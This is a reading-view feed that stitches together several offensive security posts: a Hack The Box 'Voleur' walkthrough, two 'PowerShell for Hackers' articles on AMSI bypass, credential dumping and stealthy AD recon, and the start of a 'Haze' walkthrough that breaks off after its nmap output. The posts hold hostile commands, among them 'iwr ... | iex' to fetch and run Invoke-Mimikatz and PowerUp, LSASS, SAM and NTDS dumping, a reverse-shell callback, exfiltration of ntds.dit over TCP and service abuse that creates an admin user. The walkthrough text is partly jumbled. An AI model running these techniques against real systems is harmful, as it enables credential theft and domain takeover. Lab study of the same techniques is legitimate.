Reading view

There are new articles available, click to refresh the page.

Hack The Box: Voleur Machinen Walkthrough – Medium Difficulty

By: darknite
Reading Time: 14 minutes

Introduction to Voleur:

In this write-up, we will explore the “Voleur” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Voleur” machine from Hack The Box by achieving the following objectives:

User Flag:

I found a password-protected Excel file on an SMB share, cracked it to recover service-account credentials, used those credentials to obtain Kerberos access and log into the victim account, and then opened the user’s Desktop to read user.txt.

Root Flag:

I used recovered service privileges to restore a deleted administrator account, extracted that user’s encrypted credential material, decrypted it to obtain higher-privilege credentials, and used those credentials to access the domain controller and read root.txt.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial -Pn 10.10.11.76

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/voleur]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.76
# Nmap 7.94SVN scan initiated Thu Oct 30 09:26:48 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-30 20:59:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-10-30T20:59:25
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h32m19s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 30 09:27:43 2025 -- 1 IP address (1 host up) scanned in 55.54 seconds

Analysis:

  • 53/tcp: DNS (Simple DNS Plus) – domain name resolution
  • 88/tcp: Kerberos – Active Directory authentication service
  • 135/tcp: MSRPC – Windows RPC endpoint mapper
  • 139/tcp: NetBIOS-SSN – legacy file and printer sharing
  • 389/tcp: LDAP – Active Directory directory service
  • 445/tcp: SMB – file sharing and remote administration
  • 464/tcp: kpasswd – Kerberos password change service
  • 593/tcp: RPC over HTTP – remote procedure calls over HTTP
  • 636/tcp: tcpwrapped – likely LDAPS (secure LDAP)
  • 2222/tcp: SSH – OpenSSH on Ubuntu (remote management)
  • 3268/tcp: Global Catalog (LDAP GC) – forest-wide directory service
  • 3269/tcp: tcpwrapped – likely Global Catalog over LDAPS

Machine Enumeration:

impacket-getTGT voleur.htb/ryan.naylor:HollowOct31Nyt (Impacket v0.12.0) — TGT saved to ryan.naylor.ccache; note: significant clock skew with the DC may disrupt Kerberos operations.

impacket-getTGT used ryan.naylor’s credentials to request a Kerberos TGT from the domain KDC and saved it to ryan.naylor.ccache; that ticket lets anyone request service tickets and access AD services (SMB, LDAP, HTTP) as ryan.naylor until it expires or is revoked, so inspect it with KRB5CCNAME=./ryan.naylor.ccache && klist and, if the request was unauthorized, reset the account password and check KDC logs for suspicious AS-REQs.

Setting KRB5CCNAME=ryan.naylor.ccache tells the Kerberos libraries to use that credential cache file for authentication so Kerberos-aware tools (klist, smbclient -k, ldapsearch -Y GSSAPI, Impacket tools with -k) will present the saved TGT; after exporting, run klist to view the ticket timestamps and then use the desired Kerberos-capable client (or unset the variable when done).

nxc ldap connected to the domain controller’s LDAP (DC.voleur.htb:389) using Kerberos (-k), discovered AD info (x64 DC, domain voleur.htb, signing enabled, SMBv1 disabled) and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming those credentials are valid for LDAP access.

nxc smb connected to the domain controller on TCP 445 using Kerberos (-k), enumerated the host as dc.voleur.htb (x64) with SMB signing enabled and SMBv1 disabled, and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming SMB access to the DC which can be used to list or mount shares, upload/download files, or perform further AD discovery while the account’s privileges allow.

Bloodhound enumeration

Runs bloodhound-python to authenticate to the voleur.htb domain as ryan.naylor (using the provided password and Kerberos via -k), query the specified DNS server (10.10.11.76) and collect all AD data (-c All) across the domain (-d voleur.htb), then package the resulting JSON data into a zip file (–zip) ready for import into BloodHound for graph-based AD attack path analysis; this gathers users, groups, computers, sessions, ACLs, trusts, and other relationships that are sensitive — only run with authorization.

ryan.naylor is a member of Domain Users and First-line Technicians — Domain Users is the default domain account group with standard user privileges, while First-line Technicians is a delegated helpdesk/tech group that typically has elevated rights like resetting passwords, unlocking accounts, and limited workstation or AD object management; combined, these memberships let the account perform routine IT tasks and makes it a useful foothold for lateral movement or privilege escalation if abused, so treat it as sensitive and monitor or restrict as needed.

SMB enumeration

Connected to dc.voleur.htb over SMB using Kerberos authentication; authenticated as voleur.htb\ryan.naylor and enumerated shares: ADMIN$, C$, Finance, HR, IPC$ (READ), IT (READ), NETLOGON (READ), and SYSVOL (READ), with SMB signing enabled and NTLM disabled.

If impacket-smbclient -k dc.voleur.htb failed, target a specific share and provide credentials or use your Kerberos cache. For example, connect with Kerberos and no password to a known share: impacket-smbclient -k -no-pass //dc.voleur.htb/Finance after exporting KRB5CCNAME=./ryan.naylor.ccache, or authenticate directly with username and password: impacket-smbclient //dc.voleur.htb/Finance -u ryan.naylor -p HollowOct31Nyt; specifying the share usually succeeds when the root endpoint refuses connections.

Shares need to be selected from the enumerated list before accessing them.

The SMB session showed available shares (including hidden admin shares ADMIN$ and C$, domain shares NETLOGON and SYSVOL, and user shares like Finance, HR, IT); the command use IT switched into the IT share and ls will list that share’s files and directories — output depends on ryan.naylor’s permissions and may be empty or restricted if the account lacks write/list rights.

Directory listing shows a folder named First-Line Support — change into it with cd First-Line Support and run ls to view its contents.

Inside the First-Line Support folder, there is a single file named Access_Review.xlsx with a size of 16,896 bytes, along with the standard . and .. directories.

Retrieve or save the Access_Review.xlsx file from the share to the local system.

Saved the file locally on your machine.

The file Access_Review.xlsx is encrypted using CDFv2.

The file is password-protected and cannot be opened without the correct password.

Extracted the password hash from Access_Review.xlsx using office2john and saved it to a file named hash.

The output is the extracted Office 2013 password hash from Access_Review.xlsx in hashcat/John format, showing encryption type, iteration count, salt, and encrypted data, which can be used for offline password cracking attempts.

Hashcat could not identify any supported hash mode that matches the format of the provided hash.

CrackStation failed to find a viable cracking path.

After researching the hash, it’s confirmed as Office 2013 / CDFv2 (PBKDF2‑HMAC‑SHA1 with 100,000 iterations) and maps to hashcat mode 9600; use hashcat -m 9600 with targeted wordlists, masks, or rules (GPU recommended) but expect slow hashing due to the high iteration count — if hashcat rejects the format, update to the latest hashcat build or try John’s office2john/output path; only attempt cracking with proper authorization.

I found this guide on Medium that explains how to extract and crack the Office 2013 hash we retrieved

After performing a password enumeration, the credential football1 was identified, potentially belonging to the svc account. It is noteworthy that the Todd user had been deleted, yet its password remnants were still recoverable.

The Access_Review.xlsx file contained plaintext credentials for two service accounts: svc_ldap — M1XyC9pW7qT5Vn and svc_iis — N5pXyV1WqM7CZ8. These appear to be service-account passwords that could grant LDAP and IIS access; treat them as sensitive, rotate/reset the accounts immediately, and audit where and how the credentials were stored and used.

svc_ldap has GenericWrite over the Lacey user objects and WriteSPN on svc_winrm; next step is to request a service ticket for svc_winrm.

impacket-getTGT used svc_ldap’s credentials to perform a Kerberos AS-REQ to the domain KDC, received a valid TGT, and saved it to svc_ldap.ccache; that TGT can be used to request service tickets (TGS) and access domain services as svc_ldap until it expires or is revoked, so treat the ccache as a live credential and rotate/reset the account or investigate KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to svc_ldap.ccache so that Kerberos-aware tools will use svc_ldap’s TGT for authentication.

Attempt to bypass the disabled account failed: no krbtgt entries were found, indicating an issue with the LDAP account used.

Run bloodyAD against voleur.htb as svc_ldap (Kerberos) targeting dc.voleur.htb to set the svc_winrm object’s servicePrincipalName to HTTP/fake.voleur.htb.

The hashes were successfully retrieved as shown previously.

Cracking failed when hashcat hit a segmentation fault.

Using John the Ripper, the Office hash was cracked and the password AFireInsidedeOzarctica980219afi was recovered — treat it as a live credential and use it only with authorization (e.g., to open the file or authenticate as the associated account).

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the user flag, run type user.txt in the compromised session.

Another way to retrieve user flag

Request a TGS for the svc_winrm service principal.

Use evil-winrm the same way as before to connect and proceed.

Alternatively, display the user flag with type C:\Users\<username>\Desktop\user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Enumerated C:\ and found an IT folder that warrants closer inspection.

The IT folder contains three directories — each checked next for sensitive files.

No relevant files or artifacts discovered so far.

The directories cannot be opened with the current permissions.

Runs bloodyAD against dc.voleur.htb as svc_ldap (authenticating with the given password and Kerberos) to enumerate all Active Directory objects that svc_ldap can write to; the get writable command lists objects with writable ACLs (e.g., GenericWrite, WriteSPN) and –include-del also returns deleted-object entries, revealing targets you can modify or abuse for privilege escalation (resetting attributes, writing SPNs, planting creds, etc.).

From the list of writable AD objects, locate the object corresponding to Todd Wolfe.

Located the object; proceed to restore it by assigning sAMAccountName todd.wolfe.

Runs bloodyAD against dc.voleur.htb as svc_ldap (Kerberos) to restore the deleted AD object todd.wolfe on the domain — this attempts to undelete the tombstoned account and reinstate its sAMAccountName; success depends on svc_ldap having sufficient rights and the object still being restorable.

The restoration was successful, so the next step is to verify whether the original password still works.

After evaluating options, launch runascs.exe to move forward with the attack path.

Execute RunasCS.exe to run powershell as svc_ldap using password M1XyC9pW7qT5Vn and connect back to 10.10.14.189:9007.

Established a reverse shell session from the callback.

Successfully escalated to and accessed the system as todd.wolfe.

Ultimately, all previously restricted directories are now visible.

You navigated into the IT share (Second-Line Support → Archived Users → todd.wolfe) and downloaded two DPAPI-related artefacts: the Protect blob at AppData\Roaming\Microsoft\Protect<SID>\08949382-134f-4c63-b93c-ce52efc0aa88 and the credential file at AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3; these are DPAPI master-key/credential blobs that can be used to recover saved secrets for todd.wolfe, when combined with the appropriate user or system keys, should be them as highly sensitive.

DPAPI Recovery and Abuse: How Encrypted Blobs Lead to Root

Using impacket-dpapi with todd.wolfe’s masterkey file and password (NightT1meP1dg3on14), the DPAPI master key was successfully decrypted; the output shows the master key GUID, lengths, and flags, with the decrypted key displayed in hex, which can now be used to unlock the user’s protected credentials and recover saved secrets from Windows.

The credential blob was decrypted successfully: it’s an enterprise-persisted domain password entry last written on 2025-01-29 12:55:19 for target Jezzas_Account with username jeremy.combs and password qT3V9pLXyN7W4m; the flags indicate it requires confirmation and supports wildcard matching. This is a live domain credential that can be used to authenticate to AD services or for lateral movement, so handle it as sensitive and test access only with authorization.

impacket-getTGT used jeremy.combs’s credentials to request a Kerberos TGT from the domain KDC and saved it to jeremy.combs.ccache; that TGT can be used to request service tickets (TGS) and authenticate to AD services (SMB, LDAP, WinRM, etc.) as jeremy.combs until it expires or is revoked, so inspect it with KRB5CCNAME=./jeremy.combs.ccache && klist and treat the cache as a live credential — rotate/reset the account or review KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to jeremy.combs.ccache so Kerberos-aware tools will use jeremy.combs’s TGT for authentication.

Run bloodhound-python as jeremy.combs (password qT3V9pLXyN7W4m) using Kerberos and DNS server 10.10.11.76 to collect all AD data for voleur.htb and save the output as a zip for BloodHound import.

Account jeremy.combs is in the Third-Line Technicians group.

Connected to dc.voleur.htb with impacket-smbclient (Kerberos), switched into the IT share and listed contents — the directory Third-Line Support is present.

Downloaded two files from the share: the private SSH key id_rsa and the text file Note.txt.txt — treat id_rsa as a sensitive private key (check for a passphrase) and review Note.txt.txt for useful creds or instructions.

The note indicates that the administrator was dissatisfied with Windows Backup and has started configuring Windows Subsystem for Linux (WSL) to experiment with Linux-based backup tools. They are asking Jeremy to review the setup and implement or configure any viable backup solutions using the Linux environment. Essentially, it’s guidance to transition or supplement backup tasks from native Windows tools to Linux-based tools via WSL.

The key belongs to the svc_backup user, and based on the earlier port scan, port 2222 is open, which can be used to attempt a connection.

The only difference in this case is the presence of the backups directory.

There are two directories present: Active Directory and Registry.

Stream the raw contents of the ntds.dit file to a remote host by writing it out over a TCP connection.

The ntds.dit file was transferred to the remote host.

Stream the raw contents of the SYSTEM file to a remote host by writing it out over a TCP connection.

The SYSTEM file was transferred to the remote host.

That command runs impacket-secretsdump in offline mode against the dumped AD database and system hive — reading ntds.dit and SYSTEM to extract domain credentials and secrets (user NTLM hashes, cached credentials, machine account hashes, LSA secrets, etc.) for further offline analysis; treat the output as highly sensitive and use only with proper authorization.

Acquire an Administrator service ticket for WinRM access.

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the root flag, run type root.txt in the compromised session.

The post Hack The Box: Voleur Machinen Walkthrough – Medium Difficulty appeared first on Threatninja.net.

PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover

Welcome back hackers!

For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.

AMSI Bypass

Repo:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on a Russian target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

checking if the defender is running on windows

And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.

Patching AMSI

Next, we start patching AMSI with the help of our script, which you can find at the following link:

https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

patching amsi with a powershell script

If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Repo:

http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

dumping lsass with mimikatz powershell script Invoke-Mimikatz.ps1

Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService

listing vulnerable unquoted services to privilege escalation

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

The results can be tested:

PS > net user john

abusing an unqouted service with the help of PowerUp.ps1

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

Repo:

https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper

With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then dump SAM and SYSTEM hives:

PS > .\ntds.ps1

dumping sam and system hives with ntds.ps1
listing sam and system hive dumps

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL

extracting creds from sam hive

Attacking NTDS on Domain Controllers

If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.

Connect to the DC:

c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

dumping NTDS with ntds.ps1 script

Evil-WinRM has a download command that can help you extract the files. After that, run this command:

bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

extracting creds from the ntds dump

Summary

In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

PowerShell for Hackers – Survival Edition, Part 2: Advanced Recon

Welcome back, aspiring hackers!

Today we’re continuing the survival sequence and taking a closer look at PowerShell as your main tool. The beauty of PowerShell is that you don’t need to memorize a massive list of commands, it’s both a toolbox and a guide. It’s designed to help you figure things out as you go, so instead of wasting time searching online you can experiment and learn directly in the shell. If you let PowerShell handle the heavy lifting, you’ll work faster and stay under the radar. The integrated survival kit that not only has the tools you need, but also shows you how to use them step by step.

We will also cover Active Directory modules and dsquery which are incredibly useful during pentests. You will learn what to run, why it matters, and what to watch for if your goal is to stay quiet and keep access.

Remember, recon comes first, actions later. If you map the terrain carefully, you minimize surprises and reduce the chance of getting kicked out. Let’s dive in!

Dsquery

dsquery is a classic Windows tool, which is simple, fast, and present on domain-managing machines or admin workstations. At a high level, dsquery talks LDAP to AD, applies filters, and returns object lists like users, computers, OUs, groups, and whatever you ask for.

On well-configured domains, dsquery runs quickly and gives structured output that’s easy to parse. It’s also convenient when you don’t want to load or rely on larger modules or tools.

It is a system binary in the sense that it’s part of the Windows AD tooling set so it is legitimate for endpoint monitoring. Defenders may not immediately flag a dsquery invocation, but broad or repetitive queries against AD can still generate logs and attract attention. Large domain enumerations, wildcard queries that return thousands of objects, or repeated use from an unusual host are all detectable. Since stealth is the goal, favor targeted queries and avoid blasting the directory with exhaustive requests. Also note, that not every machine has dsquery installed, but it’s often present on domain controllers and admin workstations. On locked-down hosts it may be absent.

Find Users

This returns user accounts both active and inactive. Useful to get the initial scope of identities to investigate. Mainly we prioritize service and admin accounts first. Common name patterns like svc, adm, and others may give them away.

PS > dsquery user

finding users with dsquery

Find Computers

Computer objects reveal server names, DEV hosts, backups, SQL, EXCH, etc. This variety gives you potential vectors of compromise. Well-managed environments place servers in OUs, which can tell you where critical infrastructure lives and help you refine your scope quickly.

PS > dsquery computer

finding computers with dsquery

Find groups

Inspect groups like Domain Admins, Enterprise Admins, Backup Operators and other potentially valuable. They point you to high-value targets and to people who matter inside the organization.

PS > dsquery * "CN=Users,DC=DOMAIN,DC=LOCAL"

finding groups with dsquery

Password-not-required accounts

This searches for users with the PASSWORD_NOT_REQUIRED flag. It’s uncommon on privileged accounts, but every once in a while you’ll find legacy or misconfigured accounts that are worth investigating.

PS > dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

finding password not required accounts with dsquery

An account that looks unprivileged at first can still own or be granted rights that make it a pivot to more interesting objects. Low-profile privilege pathways that are laterally exploitable. Tools like BloodHound help visualize those relationships if you’re collecting data to analyze later.

Domain Controllers

Knowing DC names and their IPs is important. They’re the gatekeepers. LDAP, Kerberos, and replication insights come from them, and they host the crown jewels of domain authentication.

PS > dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.804:=8192)" -limit 5 -attr sAMAccountName

finding domain controllers with dsquery

User-related data

We won’t rehash registry or user history investigations here, since that has been covered in PowerShell for Hackers: Basics. This chapter is focused on directory and module-based recon. If you need detailed user-artifact techniques, refer back to that article.

Remote Command Execution With PowerShell

There are many ways to execute commands remotely. Some require installing third-party binaries, others use native capabilities. Malicious third-party tools are noisy and signatured, while native execution can be quieter. Here’s the canonical PowerShell remote execution pattern:

PS > Invoke-Command -ComputerName DC -ScriptBlock { hostname }

remote command execution with Invoke-Command of one command

You can also run several commands at once. Here is how you would import a module and run an AD query:

PS > Invoke-Command -ComputerName DC -ScriptBlock { Import-Module ActiveDirectory; Get-ADUser -Filter * }

remote command execution with Invoke-Command of multiple commands

Now you can run modules on remote hosts and pull back results without leaving large traces. 

Active Directory Modules and Documentation

Active Directory modules are incredibly convenient for both defenders and pentesters. They expose AD query and management commands  in a readable, scriptable way. Importing the module is a legitimate action, which makes it less suspicious. Many teams don’t actively monitor every module load. That said, module use is logged, and the patterns of use matter. If you import ActiveDirectory and immediately run a large enumeration from a workstation that never runs those commands, defenders may notice.

Imagine you’re on a physical pentest and you find a machine with PowerShell but no internet access. Memorizing every command helps, but there are too many across different operating systems to rely on memory alone. In this case, PowerShell’s built-in help and a module’s own documentation have your back. Microsoft provided a solid help system that you can learn from.

Available modules

List what’s on the system before importing anything:

PS > Get-Module -ListAvailable

listing available powershell modules

Check whether the Active Directory module is present:

PS > Get-Module ActiveDirectory

If it’s available, import it:

PS > Import-Module ActiveDirectory

checking if a powershell module is available and importing it

Once imported, list the commands available in the module. There are a lot. Don’t attempt to memorize them all, but focus on those that return identity, group, and computer information, and the ones that let you scope queries efficiently.

PS > Get-Command -Module ActiveDirectory

listing commands of a powershell module

Get-Help is one of the useful survival tools you’ll have when offline. It shows command syntax, parameters, examples, and deeper usage notes, right in the session you’re running. Two flags we commonly use are -Examples and -Full:

See examples:

PS > Get-Help Enable-ADAccount -Example

using get-help to get help on a command in powershell to show examples of use

See full documentation:

PS > Get-Help Enable-ADAccount -Full

using get-help to get help on a command in powershell to show full command info

Help can also be updated, when the computer is connected to the internet:

PS > Update-Help

Take some time to explore the other commands PowerShell has in the Active Directory module. Doing this will prepare you for the variety of environments you’ll encounter during your pentests.

Summary

PowerShell is both your tool and your guide. It lets you learn about the environment in the shell, as you can get information without relying on external resources. Tools like dsquery and the Active Directory module help you map users, computers, and groups. These built-in binaries let you work from the host itself, even without internet access, which is good for keeping a lower profile. Careful and targeted recon reduces the risk of detection. Although everything can be detected, it really depends where the defender is looking at. Normally, detecting every possible move a hacker can make is unreal. By using the tools the defenders and system administrators use for legitimate purposes, you blend in with the environment so well. 

In the next chapter we’ll cover how defenders spot suspicious activity and offer high-level recommendations for maintaining operational security and minimizing unnecessary noise.

The post PowerShell for Hackers – Survival Edition, Part 2: Advanced Recon first appeared on Hackers Arise.

Hack The Box: Haze Machine Walkthrough – Hard Difficulty

By: darknite
Reading Time: 17 minutes

Introduction to Haze

In this write-up, we’ll go step-by-step through the Haze machine from Hack The Box, rated medium difficulty. The box involves exploring a Windows Active Directory (AD) environment with Splunk services. The path includes abusing a Splunk vulnerability, moving through Active Directory, and escalating privileges to grab both the user and root flags.

Objective

The goal is to complete Haze by achieving the following:

User Flag:

Using the decrypted paul.taylor password (Ld@p_Auth_Sp1unk@2k24) from splunksecrets, I gained WinRM access as mark.adams. After enumerating AD with netexec and retrieving the Haze-IT-Backup gMSA NTLM hash, I used PyWhisker and Certipy for a Shadow Credentials attack on edward.martin. This provided edward.martin’s NT hash, enabling WinRM access to read the user flag with type user.txt. Troubleshooting BloodyAD authentication issues was key to progressing through AD exploitation.

Root Flag:

With Splunk admin credentials from a decrypted backup hash, I uploaded a malicious .tar.gz app containing a reverse shell to Splunk’s web interface (port 8000). The shell, caught via nc -lvnp 4444, had SeImpersonatePrivilege. Using SweetPotato, I escalated to NT SYSTEM and read the root flag with type root.txt. Fixing tar file upload errors ensured successful shell delivery.

Enumerating the Haze Machine

Reconnaissance

We begin with a basic Nmap scan to identify services on the machine:

nmap -sC -sV 10.10.11.61 -oA initial 

Nmap Output Highlights:

┌─[dark@parrot]─[~/Documents/htb/haze]
└──╼ $nmap -sC -sV 10.10.11.61 -oA initial 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 03:39 EDT
Nmap scan report for haze.htb (10.10.11.61)
Host is up (0.037s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-21 12:16:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
8000/tcp open  http          Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
